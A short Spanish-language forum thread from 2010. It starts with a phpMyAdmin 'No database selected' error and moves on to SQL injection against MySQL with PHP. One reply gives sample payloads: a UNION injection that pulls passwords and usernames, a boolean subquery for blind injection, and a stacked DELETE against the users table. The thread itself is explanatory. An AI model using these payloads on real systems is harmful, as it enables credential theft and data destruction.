Duda Inyeccion sql...

Iniciado por andres_5, 11 Junio 2010, 23:28 PM

0 Miembros y 1 Visitante están viendo este tema.

WHK

Cita de: ErLoBo en 12 Junio 2010, 18:52 PM
Cita de: andres_5 en 11 Junio 2010, 23:28 PM

...

pero me aparece un error y no tengo ni idea de que sucede,
la sentencia del error de phpmyadmin es:

consulta SQL:
INSERT INTO `usuarios` ( log_nombre, contrasenya, nombre, email, localidad )
VALUES (
'123', '123', '123', '123', 'localidad.'
);
MySQL ha dicho: Documentación
#1046 - No database selected

saludos y muchas gracias ;)
PD: puse este mismo tema en apartado Programacion/Diseños Web/Bases de Datos... Espero que no os moleste pero pense que talvez es mas correcto aqui, si hay cualquier tipo de problema podeis borrad algunos de los dos temas ;)

Es que como el dice que le aparece un error y no tiene idea de lo que sucede, y como el error es "#1046 - No database selected", por eso pense que preguntaba por ese error.

Saludos!

eso sucede en phpmyadmin porque no seleccionaste una base de datos de la lista de bases de datos antes de ejecutar la query.
primero selecciona la abse de datos y luego ejecutas la query.

MagnoBalt

Buenas, como algunos usuarios recalcarón no se puede realizar Stacked Query en MySQL con PHP, por lo tanto no te puedes salir de esa consulta para apilar una nueva, es imposible usando esas tecnologias por desgracia :p
Ahora si estas dentro de un SELECT puedes inyectar con Subconsultas o con la Clausula UNION

Escenarios Correctos:

Con UNION

SELECT TITULO, CUERPO, FECHA FROM NOTICIAS WHERE ID = 4

INYECCION

SELECT TITULO, CUERPO, FECHA FROM NOTICIAS WHERE ID = -4343 UNION SELECT PASSWORD,USERS,3 FROM USUARIOS

Con SUBCONSULA

SELECT TITULO, CUERPO, FECHA FROM NOTICIAS WHERE ID = 4

SELECT TITULO, CUERPO, FECHA FROM NOTICIAS WHERE ID = 4 AND (SELECT COUNT(*) FROM USERS)

Este tipo de ataques a subconsultas es la la logica de Booleanizacion la cual es la tecnica de Blind SQL.

andres_5 a lo que voy es que no puedes hacer esto en mysql con php

SELECT TITULO, CUERPO, FECHA FROM NOTICIAS WHERE ID = 4; DELETE * FROM USUARIOS

No se permiten stacked query, dejo una imagen donde muestra los esenarios donde se soporta y donde no.




Saludos